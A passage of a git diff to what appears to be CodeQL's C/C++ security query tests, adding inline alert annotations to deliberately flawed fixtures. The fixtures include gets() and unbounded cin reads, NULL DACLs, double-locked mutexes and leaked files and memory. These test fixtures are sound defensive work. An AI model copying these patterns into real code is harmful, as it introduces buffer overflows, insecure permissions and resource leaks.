b/cpp/ql/test/query-tests/Security/CWE/CWE-676/semmle/DangerousUseOfCin/test.cpp @@ -49,7 +49,7 @@ void bad() { char buffer[BUFFER_SIZE]; // BAD: Use of 'cin' without specifying the length of the input. - cin >> buffer; + cin >> buffer; // $ Alert buffer[BUFFER_SIZE-1] = '\0'; } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-676/semmle/PotentiallyDangerousFunction/DangerousFunctionOverflow.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-676/semmle/PotentiallyDangerousFunction/DangerousFunctionOverflow.qlref index e46499468514..41d5b35b3c97 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-676/semmle/PotentiallyDangerousFunction/DangerousFunctionOverflow.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-676/semmle/PotentiallyDangerousFunction/DangerousFunctionOverflow.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-676/DangerousFunctionOverflow.ql +query: Security/CWE/CWE-676/DangerousFunctionOverflow.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-676/semmle/PotentiallyDangerousFunction/PotentiallyDangerousFunction.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-676/semmle/PotentiallyDangerousFunction/PotentiallyDangerousFunction.qlref index 45388d46e2e3..8fb8f0fceafa 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-676/semmle/PotentiallyDangerousFunction/PotentiallyDangerousFunction.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-676/semmle/PotentiallyDangerousFunction/PotentiallyDangerousFunction.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-676/PotentiallyDangerousFunction.ql +query: Security/CWE/CWE-676/PotentiallyDangerousFunction.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-676/semmle/PotentiallyDangerousFunction/test.c b/cpp/ql/test/query-tests/Security/CWE/CWE-676/semmle/PotentiallyDangerousFunction/test.c index 34ca23748c84..f3629169bbc3 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-676/semmle/PotentiallyDangerousFunction/test.c +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-676/semmle/PotentiallyDangerousFunction/test.c @@ -28,7 +28,7 @@ char *asctime(const struct tm *timeptr); // Code under test int is_morning() { - struct tm *now = gmtime(time(NULL)); // BAD: gmtime uses shared state + struct tm *now = gmtime(time(NULL)); // BAD: gmtime uses shared state // $ Alert[cpp/potentially-dangerous-function] return (now->tm_hour < 12); } @@ -39,13 +39,13 @@ void testGets() { char *buf2 = malloc(1024); char *s; - gets(buf1); // BAD: use of gets - s = gets(buf2); // BAD: use of gets + gets(buf1); // BAD: use of gets // $ Alert[cpp/dangerous-function-overflow] + s = gets(buf2); // BAD: use of gets // $ Alert[cpp/dangerous-function-overflow] } void testTime() { - struct tm *now = localtime(time(NULL)); // BAD: localtime uses shared state - char *time_string = ctime(time(NULL)); // BAD: localtime uses shared state - char *time_string2 = asctime(now); // BAD: localtime uses shared state + struct tm *now = localtime(time(NULL)); // BAD: localtime uses shared state // $ Alert[cpp/potentially-dangerous-function] + char *time_string = ctime(time(NULL)); // BAD: localtime uses shared state // $ Alert[cpp/potentially-dangerous-function] + char *time_string2 = asctime(now); // BAD: localtime uses shared state // $ Alert[cpp/potentially-dangerous-function] } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-732/OpenCallMissingModeArgument.c b/cpp/ql/test/query-tests/Security/CWE/CWE-732/OpenCallMissingModeArgument.c index 61243f3db1a9..5bcdc9632d58 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-732/OpenCallMissingModeArgument.c +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-732/OpenCallMissingModeArgument.c @@ -17,13 +17,13 @@ void test_open() { open(a_file, O_NONBLOCK); // GOOD open(a_file, O_RDWR | O_CLOEXEC); // GOOD open(a_file, O_APPEND); // GOOD - open(a_file, O_CREAT); // BAD + open(a_file, O_CREAT); // BAD // $ Alert[cpp/open-call-with-mode-argument] open(a_file, O_CREAT, 0); // GOOD - open(a_file, O_TMPFILE); // BAD + open(a_file, O_TMPFILE); // BAD // $ Alert[cpp/open-call-with-mode-argument] open(a_file, O_TMPFILE, 0); // GOOD openat(0, a_file, O_APPEND); // GOOD - openat(0, a_file, O_CREAT); // BAD + openat(0, a_file, O_CREAT); // BAD // $ Alert[cpp/open-call-with-mode-argument] openat(0, a_file, O_CREAT, 0); // GOOD - openat(0, a_file, O_TMPFILE); // BAD + openat(0, a_file, O_TMPFILE); // BAD // $ Alert[cpp/open-call-with-mode-argument] openat(0, a_file, O_TMPFILE, 0); // GOOD } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-732/OpenCallMissingModeArgument.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-732/OpenCallMissingModeArgument.qlref index 68198ec2a3b1..e1ff489c2430 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-732/OpenCallMissingModeArgument.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-732/OpenCallMissingModeArgument.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-732/OpenCallMissingModeArgument.ql \ No newline at end of file +query: Security/CWE/CWE-732/OpenCallMissingModeArgument.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-732/UnsafeDaclSecurityDescriptor.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-732/UnsafeDaclSecurityDescriptor.cpp index f2f7d80e44a2..09a32989a5ac 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-732/UnsafeDaclSecurityDescriptor.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-732/UnsafeDaclSecurityDescriptor.cpp @@ -67,13 +67,13 @@ void Test() { PSECURITY_DESCRIPTOR pSecurityDescriptor; BOOL b; - b = SetSecurityDescriptorDacl(pSecurityDescriptor, + b = SetSecurityDescriptorDacl(pSecurityDescriptor, // $ Alert[cpp/unsafe-dacl-security-descriptor] TRUE, // Dacl Present NULL, // NULL pointer to DACL == BUG FALSE); PACL pDacl = NULL; - b = SetSecurityDescriptorDacl(pSecurityDescriptor, + b = SetSecurityDescriptorDacl(pSecurityDescriptor, // $ Alert[cpp/unsafe-dacl-security-descriptor] TRUE, // Dacl Present pDacl, // NULL pointer to DACL == BUG FALSE); @@ -117,7 +117,7 @@ void Test2() FALSE); PACL pDacl2 = returnNull(); - SetSecurityDescriptorDacl( + SetSecurityDescriptorDacl( // $ Alert[cpp/unsafe-dacl-security-descriptor] pSecurityDescriptor, TRUE, // Dacl Present pDacl2, // NULL pointer to DACL == BUG diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-732/UnsafeDaclSecurityDescriptor.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-732/UnsafeDaclSecurityDescriptor.qlref index 6d8a0fc40192..3484b0b876b5 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-732/UnsafeDaclSecurityDescriptor.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-732/UnsafeDaclSecurityDescriptor.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-732/UnsafeDaclSecurityDescriptor.ql \ No newline at end of file +query: Security/CWE/CWE-732/UnsafeDaclSecurityDescriptor.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-764/semmle/tests/DiningPhilosophers.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-764/semmle/tests/DiningPhilosophers.cpp index de7ff6183f5d..72ca3bf6fb8e 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-764/semmle/tests/DiningPhilosophers.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-764/semmle/tests/DiningPhilosophers.cpp @@ -20,11 +20,11 @@ namespace std template void unlock (Mutex1& a, Mutex2& b, Mutexes&... cde); } -std::mutex fork1; -std::mutex fork2; -std::mutex fork3; -std::mutex fork4; -std::mutex fork5; +std::mutex fork1; // $ Alert[cpp/lock-order-cycle] +std::mutex fork2; // $ Alert[cpp/lock-order-cycle] +std::mutex fork3; // $ Alert[cpp/lock-order-cycle] +std::mutex fork4; // $ Alert[cpp/lock-order-cycle] +std::mutex fork5; // $ Alert[cpp/lock-order-cycle] void eat(int ph); diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-764/semmle/tests/LockOrderCycle.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-764/semmle/tests/LockOrderCycle.qlref index 0c60fed4501b..fadfcb8e1229 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-764/semmle/tests/LockOrderCycle.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-764/semmle/tests/LockOrderCycle.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-764/LockOrderCycle.ql +query: Security/CWE/CWE-764/LockOrderCycle.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-764/semmle/tests/TwiceLocked.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-764/semmle/tests/TwiceLocked.qlref index 95a3396b1997..a7e200494031 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-764/semmle/tests/TwiceLocked.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-764/semmle/tests/TwiceLocked.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-764/TwiceLocked.ql +query: Security/CWE/CWE-764/TwiceLocked.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-764/semmle/tests/UnreleasedLock.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-764/semmle/tests/UnreleasedLock.qlref index 4ea1070113d9..ca770b8b4a58 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-764/semmle/tests/UnreleasedLock.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-764/semmle/tests/UnreleasedLock.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-764/UnreleasedLock.ql +query: Security/CWE/CWE-764/UnreleasedLock.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-764/semmle/tests/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-764/semmle/tests/test.cpp index 9114e545fd5e..67ad8f2dd58d 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-764/semmle/tests/test.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-764/semmle/tests/test.cpp @@ -22,8 +22,8 @@ namespace std void test_1() { std::mutex mtx; - mtx.lock(); - mtx.lock(); + mtx.lock(); // $ Alert[cpp/unreleased-lock] + mtx.lock(); // $ Alert[cpp/twice-locked] Alert[cpp/unreleased-lock] mtx.unlock(); } @@ -32,7 +32,7 @@ void test_2() { std::mutex mtx; mtx.lock(); - mtx.lock(); + mtx.lock(); // $ Alert[cpp/twice-locked] mtx.unlock(); mtx.unlock(); } @@ -51,7 +51,7 @@ void test_3() void test_4(bool something) { std::mutex mtx; - mtx.lock(); + mtx.lock(); // $ Alert[cpp/unreleased-lock] if (something) { mtx.unlock(); } else { @@ -85,8 +85,8 @@ void test_7() { std::mutex mtx1; std::mutex mtx2; - mtx1.lock(); - mtx2.lock(); + mtx1.lock(); // $ Alert[cpp/unreleased-lock] + mtx2.lock(); // $ Alert[cpp/unreleased-lock] std::unlock(mtx1, mtx2); } @@ -105,7 +105,7 @@ void test_8() void test_9() { std::mutex mtx; - if (mtx.try_lock()) { + if (mtx.try_lock()) { // $ Alert[cpp/unreleased-lock] return; } mtx.unlock(); @@ -134,7 +134,7 @@ std::mutex static_mtx02; // Helper function for testing the inter-procedural analysis. void set02() { - static_mtx02.lock(); + static_mtx02.lock(); // $ Alert[cpp/twice-locked] } // Helper function for testing the inter-procedural analysis. @@ -153,7 +153,7 @@ std::mutex static_mtx03; // Helper function for testing the inter-procedural analysis. void set03() { - static_mtx03.lock(); + static_mtx03.lock(); // $ Alert[cpp/twice-locked] } // Helper function for testing the inter-procedural analysis. @@ -174,7 +174,7 @@ void interproc_test_03(int n) { // BAD. void interproc_test_04(int n) { static std::mutex mtx; - mtx.lock(); + mtx.lock(); // $ Alert[cpp/twice-locked] if (n < 10) { // BAD: recursive call will attempt to lock the mutex again. interproc_test_04(n+1); @@ -215,7 +215,7 @@ void interproc_test_06() { void interproc_test_07() { std::mutex mtx; set(mtx); - set(mtx); + set(mtx); // $ Alert[cpp/twice-locked] unset(mtx); } @@ -224,7 +224,7 @@ void interproc_test_08(std::mutex &mtx, int n) { set(mtx); if (n < 10) { // BAD: recursive call will attempt to lock the mutex again. - interproc_test_08(mtx, n+1); + interproc_test_08(mtx, n+1); // $ Alert[cpp/twice-locked] } unset(mtx); } @@ -300,7 +300,7 @@ void interproc_test_09() { void test_10() { std::mutex mtx; - if (!mtx.try_lock()) { // [FALSE POSITIVE] + if (!mtx.try_lock()) { // [FALSE POSITIVE] // $ Alert[cpp/unreleased-lock] } else { mtx.unlock(); } @@ -310,7 +310,7 @@ void test_10() void test_11() { std::mutex mtx; - if (!mtx.try_lock()) { // [FALSE POSITIVE] + if (!mtx.try_lock()) { // [FALSE POSITIVE] // $ Alert[cpp/unreleased-lock] return; } @@ -357,7 +357,7 @@ void twice_locked_1() std::mutex mtx; mtx.lock(); - mtx.lock(); + mtx.lock(); // $ Alert[cpp/twice-locked] mtx.unlock(); mtx.unlock(); } @@ -380,13 +380,13 @@ void twice_locked_3() if (mtx.try_lock()) { - mtx.lock(); + mtx.lock(); // $ Alert[cpp/twice-locked] mtx.unlock(); mtx.unlock(); } } -std::mutex static_mtx_01a, static_mtx_01b; +std::mutex static_mtx_01a, static_mtx_01b; // $ Alert[cpp/lock-order-cycle] // BAD void lock_order_1(int cond) @@ -439,7 +439,7 @@ struct data_t { bool test_mutex(data_t *data) { - CHECK(mutex_lock(&(data->mutex))); // GOOD [FALSE POSITIVE] + CHECK(mutex_lock(&(data->mutex))); // GOOD [FALSE POSITIVE] // $ Alert[cpp/unreleased-lock] data->val = 1; CHECK(mutex_unlock(&(data->mutex))); @@ -479,7 +479,7 @@ int test_MyClass_good(MyClass *obj) int test_MyClass_bad(MyClass *obj) { - pthread_mutex_lock(&obj->lock); + pthread_mutex_lock(&obj->lock); // $ Alert[cpp/unreleased-lock] if (maybe()) { return -1; // BAD diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-772/SAMATE/FileMayNotBeClosed.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-772/SAMATE/FileMayNotBeClosed.qlref index fd711c007f04..8d189be099bf 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-772/SAMATE/FileMayNotBeClosed.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-772/SAMATE/FileMayNotBeClosed.qlref @@ -1 +1,2 @@ -Critical/FileMayNotBeClosed.ql \ No newline at end of file +query: Critical/FileMayNotBeClosed.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-772/SAMATE/FileNeverClosed.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-772/SAMATE/FileNeverClosed.qlref index 825ac26f500c..25b57b1736d7 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-772/SAMATE/FileNeverClosed.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-772/SAMATE/FileNeverClosed.qlref @@ -1 +1,2 @@ -Critical/FileNeverClosed.ql +query: Critical/FileNeverClosed.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-772/SAMATE/MemoryMayNotBeFreed.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-772/SAMATE/MemoryMayNotBeFreed.qlref index 33da8e296e22..84fd18014db0 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-772/SAMATE/MemoryMayNotBeFreed.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-772/SAMATE/MemoryMayNotBeFreed.qlref @@ -1 +1,2 @@ -Critical/MemoryMayNotBeFreed.ql \ No newline at end of file +query: Critical/MemoryMayNotBeFreed.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-772/SAMATE/MemoryNeverFreed.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-772/SAMATE/MemoryNeverFreed.qlref index 2d1336a55ebf..108a872987d7 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-772/SAMATE/MemoryNeverFreed.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-772/SAMATE/MemoryNeverFreed.qlref @@ -1 +1,2 @@ -Critical/MemoryNeverFreed.ql \ No newline at end of file +query: Critical/MemoryNeverFreed.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-772/SAMATE/tests.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-772/SAMATE/tests.cpp index e7b889deb08c..83770de1c98b 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-772/SAMATE/tests.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-772/SAMATE/tests.cpp @@ -68,7 +68,7 @@ namespace CWE401_Memory_Leak__new_int_17 for(i = 0; i < 1; i++) { /* POTENTIAL FLAW: Allocate memory on the heap */ - data = new int; // BAD + data = new int; // BAD // $ Alert[cpp/memory-never-freed] /* Initialize and make use of data */ *data = 5; printIntLine(*data); @@ -133,7 +133,7 @@ void CWE401_Memory_Leak__char_malloc_32_bad() { char * data = *dataPtr1; /* POTENTIAL FLAW: Allocate memory on the heap */ - data = (char *)malloc(100*sizeof(char)); // BAD + data = (char *)malloc(100*sizeof(char)); // BAD // $ Alert[cpp/memory-never-freed] /* Initialize and make use of data */ strcpy(data, "A String"); printLine(data); @@ -195,7 +195,7 @@ static void CWE401_Memory_Leak__char_malloc_32_goodB2G() void CWE401_Memory_Leak__malloc_realloc_char_01_bad() { { - char * data = (char *)malloc(100*sizeof(char)); // BAD + char * data = (char *)malloc(100*sizeof(char)); // BAD // $ Alert[cpp/memory-may-not-be-freed] /* Initialize and make use of data */ strcpy(data, "A String"); printLine(data); @@ -217,7 +217,7 @@ void CWE775_Missing_Release_of_File_Descriptor_or_Handle__fopen_no_close_17_bad( FILE * data; data = NULL; /* POTENTIAL FLAW: Open a file without closing it */ - data = fopen("BadSource_fopen.txt", "w+"); // BAD + data = fopen("BadSource_fopen.txt", "w+"); // BAD // $ Alert[cpp/file-never-closed] for(j = 0; j < 1; j++) { /* FLAW: No attempt to close the file */ @@ -249,7 +249,7 @@ void CWE775_Missing_Release_of_File_Descriptor_or_Handle__open_no_close_01_bad() /* Initialize data */ data = -1; /* POTENTIAL FLAW: Open a file without closing it */ - data = OPEN("BadSource_open.txt", O_RDWR|O_CREAT, S_IREAD|S_IWRITE); // BAD + data = OPEN("BadSource_open.txt", O_RDWR|O_CREAT, S_IREAD|S_IWRITE); // BAD // $ Alert[cpp/file-never-closed] /* FLAW: No attempt to close the file */ ; /* empty statement needed for some flow variants */ } @@ -275,7 +275,7 @@ void CWE775_Missing_Release_of_File_Descriptor_or_Handle__w32CreateFile_no_close /* Initialize data */ data = INVALID_HANDLE_VALUE; /* POTENTIAL FLAW: Open a file without closing it */ - data = CreateFile("BadSource_w32CreateFile.txt", // BAD + data = CreateFile("BadSource_w32CreateFile.txt", // BAD // $ Alert[cpp/file-never-closed] (GENERIC_WRITE|GENERIC_READ), 0, NULL, @@ -322,7 +322,7 @@ void CWE401_Memory_Leak__twoIntsStruct_realloc_01_bad() twoIntsStruct * data; data = NULL; /* POTENTIAL FLAW: Allocate memory on the heap */ - data = (twoIntsStruct *)realloc(data, 100*sizeof(twoIntsStruct)); + data = (twoIntsStruct *)realloc(data, 100*sizeof(twoIntsStruct)); // $ Alert[cpp/memory-may-not-be-freed] if (data == NULL) {exit(-1);} /* Initialize and make use of data */ data[0].intOne = 0; diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-772/semmle/tests-file/FileMayNotBeClosed.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-772/semmle/tests-file/FileMayNotBeClosed.qlref index fd711c007f04..8d189be099bf 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-772/semmle/tests-file/FileMayNotBeClosed.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-772/semmle/tests-file/FileMayNotBeClosed.qlref @@ -1 +1,2 @@ -Critical/FileMayNotBeClosed.ql \ No newline at end of file +query: Critical/FileMayNotBeClosed.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-772/semmle/tests-file/FileNeverClosed.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-772/semmle/tests-file/FileNeverClosed.qlref index 825ac26f500c..25b57b1736d7 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-772/semmle/tests-file/FileNeverClosed.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-772/semmle/tests-file/FileNeverClosed.qlref @@ -1 +1,2 @@ -Critical/FileNeverClosed.ql +query: Critical/FileNeverClosed.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-772/semmle/tests-file/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-772/semmle/tests-file/test.cpp index 1e24ded49f53..ae7c1e5cdc09 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-772/semmle/tests-file/test.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-772/semmle/tests-file/test.cpp @@ -48,7 +48,7 @@ void test4() FILE *f; // fopen, never fclose (BAD: f is never closed) - f = fopen("myFile.txt", "wt"); + f = fopen("myFile.txt", "wt"); // $ Alert[cpp/file-never-closed] } void test5(int cond) @@ -56,7 +56,7 @@ void test5(int cond) FILE *f; // fopen, sometimes fclose (BAD: f is not always closed) - f = fopen("myFile.txt", "wt"); + f = fopen("myFile.txt", "wt"); // $ Alert[cpp/file-may-not-be-closed] if (cond == 0) { fclose(f); @@ -66,7 +66,7 @@ void test5(int cond) void test6(int cond) { // fopen, sometimes fclose (BAD: f is not always closed) - FILE *f = fopen("myFile.txt", "wt"); + FILE *f = fopen("myFile.txt", "wt"); // $ Alert[cpp/file-may-not-be-closed] if (cond == 0) { @@ -82,7 +82,7 @@ void test7() // fopen, assign, close f twice (BAD: g is never closed) f = fopen("myFile.txt", "wt"); - g = fopen("myFile.txt", "wt"); + g = fopen("myFile.txt", "wt"); // $ Alert[cpp/file-may-not-be-closed] g = f; fclose(g); fclose(f); @@ -112,10 +112,10 @@ void test8(int cond) test8_close(f); // fopen, don't close (BAD: g is never closed) - g = test8_open(); + g = test8_open(); // $ Alert[cpp/file-may-not-be-closed] // fopen, sometimes fclose (BAD: h is not always closed) - h = test8_open(); + h = test8_open(); // $ Alert[cpp/file-may-not-be-closed] if (cond == 0) { return; @@ -130,7 +130,7 @@ class myClass9 { a = fopen("myFile1.txt", "rt"); // closed in destructor (GOOD) b = fopen("myFile2.txt", "rt"); // unreliably closed in destructor (BAD) [NOT REPORTED] - c = fopen("myFile3.txt", "rt"); // never closed in destructor (BAD) + c = fopen("myFile3.txt", "rt"); // never closed in destructor (BAD) // $ Alert[cpp/file-never-closed] } void myOpenMethod(const char *filename) @@ -181,7 +181,7 @@ void test11() FILE *f, *g; // fopen, assign, but do not close (BAD) - f = fopen("myFile1.bin", "rb"); + f = fopen("myFile1.bin", "rb"); // $ Alert[cpp/file-never-closed] g = f; } @@ -218,7 +218,7 @@ void test13(int cond) void test14() { - FILE *f = fopen("f.txt", "rt"); // fopen, forget, don't close (BAD) + FILE *f = fopen("f.txt", "rt"); // fopen, forget, don't close (BAD) // $ Alert[cpp/file-may-not-be-closed] f = 0; fclose(f); @@ -237,7 +237,7 @@ void test15() void test16() { FILE *f = fopen("f.txt", "rt"); // fopen, always close in loop (GOOD) - FILE *g = fopen("g.txt", "rt"); // fopen, don't close in loop (BAD) + FILE *g = fopen("g.txt", "rt"); // fopen, don't close in loop (BAD) // $ Alert[cpp/file-may-not-be-closed] int i; for (i = 0; i < 1; i++) @@ -250,7 +250,7 @@ void test16() void test17() { - FILE *f = fopen("f.txt", "rt"); // fopen, don't close in loop (BAD) + FILE *f = fopen("f.txt", "rt"); // fopen, don't close in loop (BAD) // $ Alert[cpp/file-may-not-be-closed] int i; for (i = 0; i < 0; i++) @@ -273,7 +273,7 @@ void test18() void test19() { - FILE *f = fopen("f.txt", "rt"); // fopen, return in loop, don't close (BAD) + FILE *f = fopen("f.txt", "rt"); // fopen, return in loop, don't close (BAD) // $ Alert[cpp/file-may-not-be-closed] int i; for (i = 0; i < 1; i++) @@ -296,7 +296,7 @@ void test20() void test21() { - FILE *f = fopen("f.txt", "rt"); // fopen, don't close in loop increment (BAD) + FILE *f = fopen("f.txt", "rt"); // fopen, don't close in loop increment (BAD) // $ Alert[cpp/file-may-not-be-closed] int i; for (i = 0; i < 0; fclose(f)) @@ -307,7 +307,7 @@ void test21() void test22() { FILE *f = fopen("f.txt", "rt"); // fopen, close in condition inside loop (GOOD) - FILE *g = fopen("g.txt", "rt"); // fopen, don't close in condition inside loop (BAD) + FILE *g = fopen("g.txt", "rt"); // fopen, don't close in condition inside loop (BAD) // $ Alert[cpp/file-may-not-be-closed] bool b = true; while (b) @@ -353,7 +353,7 @@ void test24() void test25() { - FILE *f = fopen("f.txt", "rt"); // fopen, don't close in nested loops (BAD) + FILE *f = fopen("f.txt", "rt"); // fopen, don't close in nested loops (BAD) // $ Alert[cpp/file-may-not-be-closed] int i, j, k; for (i = 0; i < 1; i++) @@ -381,7 +381,7 @@ void test26() void test27() { - FILE *f = fopen("f.txt", "rt"); // fopen, don't close after loop (BAD) + FILE *f = fopen("f.txt", "rt"); // fopen, don't close after loop (BAD) // $ Alert[cpp/file-may-not-be-closed] int i; for (i = 0; i < 10; i++) @@ -460,7 +460,7 @@ void test29() void test30() { // cases that do not involve a variable - fopen("myFile.txt", "wt"); // BAD: not closed + fopen("myFile.txt", "wt"); // BAD: not closed // $ Alert[cpp/file-never-closed] fclose(fopen("myFile.txt", "wt")); // GOOD } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-772/semmle/tests-memory/MemoryMayNotBeFreed.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-772/semmle/tests-memory/MemoryMayNotBeFreed.qlref index 33da8e296e22..84fd18014db0 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-772/semmle/tests-memory/MemoryMayNotBeFreed.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-772/semmle/tests-memory/MemoryMayNotBeFreed.qlref @@ -1 +1,2 @@ -Critical/MemoryMayNotBeFreed.ql \ No newline at end of file +query: Critical/MemoryMayNotBeFreed.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-772/semmle/tests-memory/MemoryNeverFreed.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-772/semmle/tests-memory/MemoryNeverFreed.qlref index 2d1336a55ebf..108a872987d7 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-772/semmle/tests-memory/MemoryNeverFreed.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-772/semmle/tests-memory/MemoryNeverFreed.qlref @@ -1 +1,2 @@ -Critical/MemoryNeverFreed.ql \ No newline at end of file +query: Critical/MemoryNeverFreed.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-772/semmle/tests-memory/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-772/semmle/tests-memory/test.cpp index 29b5709b9654..7bc2b737057e 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-772/semmle/tests-memory/test.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-772/semmle/tests-memory/test.cpp @@ -59,7 +59,7 @@ void test5(int cond) // malloc, sometimes free void *ptr; - ptr = malloc(sizeof(char) * 1024); // BAD: not always freed + ptr = malloc(sizeof(char) * 1024); // BAD: not always freed // $ Alert[cpp/memory-may-not-be-freed] if (cond == 0) { free(ptr); @@ -71,7 +71,7 @@ void test6(int cond) // malloc, sometimes free void *ptr; - ptr = malloc(sizeof(char) * 1024); // BAD: not always freed + ptr = malloc(sizeof(char) * 1024); // BAD: not always freed // $ Alert[cpp/memory-may-not-be-freed] if (cond == 0) { return; @@ -95,7 +95,7 @@ void test8() // malloc, reassign, don't free char *a, *b; - a = (char *)malloc(10); // BAD: a is not freed + a = (char *)malloc(10); // BAD: a is not freed // $ Alert[cpp/memory-never-freed] b = a; } @@ -104,7 +104,7 @@ void test9() // malloc, overwrite, don't free char *a; - a = (char *)malloc(10); // BAD: not freed + a = (char *)malloc(10); // BAD: not freed // $ Alert[cpp/memory-may-not-be-freed] a = (char *)malloc(20); free(a); } @@ -133,10 +133,10 @@ void test10(int cond) test10_free(a); // alloc, don't free b - b = test10_alloc(); // BAD: b is never freed + b = test10_alloc(); // BAD: b is never freed // $ Alert[cpp/memory-may-not-be-freed] // alloc, sometimes free c - c = test10_alloc(); // BAD: c is not always freed + c = test10_alloc(); // BAD: c is not always freed // $ Alert[cpp/memory-may-not-be-freed] if (cond == 0) { return; @@ -151,7 +151,7 @@ class myClass11 { a = (char *)malloc(1); // freed in destructor (GOOD) b = (char 